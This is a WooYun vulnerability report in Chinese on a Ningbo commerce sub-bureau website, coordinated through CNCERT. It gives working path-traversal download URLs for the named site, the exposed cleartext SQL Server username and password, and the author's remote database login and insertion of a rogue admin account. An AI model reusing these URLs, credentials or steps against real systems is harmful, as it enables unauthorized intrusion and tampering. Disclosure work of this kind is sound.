当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-022904

漏洞标题:某市某工商分局任意文件下载及后台数据库劫持

相关厂商:宁波市某工商分局

漏洞作者: 小点兵

提交时间:2013-05-02 11:00

修复时间:2013-06-16 11:01

公开时间:2013-06-16 11:01

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-02: 细节已通知厂商并且等待厂商处理中
2013-05-06: 厂商已经确认,细节仅向厂商公开
2013-05-16: 细节向核心白帽子及相关领域专家公开
2013-05-26: 细节向普通白帽子公开
2013-06-05: 细节向实习白帽子公开
2013-06-16: 细节向公众公开

简要描述:

通过利用宁波市某工商分局任意文件下载漏洞,成功渗透并劫持后台数据库

详细说明:

宁波市工商分局大榭开发区分局文件下载功能由于过滤不严格,可任意下载网站源文件。通过分析,成功劫持后台数据库并取得网站管理员权限

漏洞证明:

本次渗透纯属实验性质,并无恶意。也未破坏任何数据。
下载点:
http://www.dx315.gov.cn/download.asp?v=upload/doc/../../download.asp
通过分析download.asp,发现这个下载点有过滤行为
===============================================================
if filename="" and instr(filename,"upload")=0 then
response.write "<script language='javascript'>alert('下载文件时参数有误,请确认!');histoty.go(-1);</script>"
response.end
end if
===============================================================
发现只要存在upload都算合法。。。
网站的后台登陆页面在http://www.dx315.gov.cn/admin/admin_login.asp。提交用户名密码后,要通过http://www.dx315.gov.cn/admin/admin_chk.asp进行验证
我们通过
http://www.dx315.gov.cn/download.asp?v=upload/doc/../../admin/admin_chk.asp
将admin_chk.asp下载下来。经过分析,发现有简单的防SQL注入的检测:
===============================================================
user_name=replace(trim(Request.form("admin_user")),"'","")
user_pwd=replace(trim(Request.form("admin_pwd")),"'","")
user_veri=replace(trim(Request.form("v")),"'","")
===============================================================
不知道这样简单的过滤是否可以完全防止住SQL注入,我们有深究,望高人指点:-) 另外,根据后面的代码分析,发现还有一个专门防SQL注入的代码Check_SI.asp,可是,里面针对post提交数据的检测竟然被注释掉了,汗。
SQL注入不搞了,我们换个思路,看这一句:
<!--#include file="../Public/ASP/conn.asp" -->
通过下载
http://www.dx315.gov.cn/download.asp?v=upload/doc/../../Public/ASP/conn.asp
代码如下:
===============================================================
<!--#include file="Check_SI.asp"-->
<%
On Error Resume Next
Dim ConnStr
Dim Sqldatabasename,Sqlpassword,Sqlusername,Sqllocalname
Sqldatabasename = "hsgs"
Sqlusername = "website"
Sqlpassword = "nbdxgswebsite"
Sqllocalname = "127.0.0.1"
Connstr = "Provider = Sqloledb; User Id =" & Sqlusername & "; Password =" & Sqlpassword & "; Initial Catalog = " & Sqldatabasename & "; Data Source = " & Sqllocalname & ";"
Set conn = Server.CreateObject("ADODB.Connection")
conn.open ConnStr
If Err Then
Set Conn = Nothing
Response.Write "数据库连接出错,请检查连接字串。"
Response.End
End If
%>
==================================================================
好吧,数据库的用户名是 "website", 密码是 "nbdxgswebsite" 而且数据库就在本机,没有做库站分离 (Sqllocalname = "127.0.0.1")
用nmap扫描www.dx315.gov.cn(ip是112.15.185.43),结果如下图:

1.jpg


好吧,开了那么多端口,还包括21,135,139等。没有一个一个去试验。不知道是否存在ftp和rpc的弱口令或139RPC缓冲区溢出漏洞.这么多口子,难道这台机器已经被人做成肉鸡了...
不管其他的,我们的重点在1433/tcp open ms-sql-s 好吧,远程sql server访问。链上去打开hsgs.dbo.UserInfo表,如下图 (注:最后一行adminroot是我添加的,后面会描述)

2.jpg


到这里基本上大功告成了,所有的数据库都在我们的控制之中了。不过管理员的密码是md5散列过的,试了几个md5字典网站(比如http://www.md5decrypter.co.uk/),发现破解不出. 估计他们的算法不是标准的md5或者是在计算的时候加入了固定的随机数 (这个方法值得推荐,加入随机数进行散列,让字典攻击成为不可能)
不过这个难不倒我们,直接下载
http://www.dx315.gov.cn/download.asp?v=upload/doc/../../Public/ASP/md5.asp
然后在自己的iis上跑 Response.Write(md5(11111111)) 我们得到 60827015e5d605ed
好吧,我们插入UID=adminroot PWD=60827015e5d605ed 到 hsgs.dbo.UserInfo表中,然后用adminroot+11111111登录http://www.dx315.gov.cn/admin/admin_login.asp,成功进入后台,如下图:

3.jpg


修复方案:

1,http://www.dx315.gov.cn/download.asp中做完备的过滤,或者不要这个下载asp了.比方说下载http://www.dx315.gov.cn/download.asp?v=upload/doc/2012215103123195.doc, 直接http://www.dx315.gov.cn/upload/doc/2012215103123195.doc就好了,何必画蛇添足
2,除了80端口,其他不必要的端口,能关的都关了吧
3,将Check_SI.asp中关于post数据过滤的代码打开吧,不然可能引发通过post提交的sql注入
4,将我添加的adminroot给删了,十分感谢

版权声明:转载请注明来源 小点兵@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2013-05-06 22:15

厂商回复:

CNVD确认并复现所述情况,已在3日转由CNCERT浙江分中心,由其后续协调网站管理方处置。该案例是较为完整的一次由文件包含进行的测试过程。
rank 13

最新状态:

暂无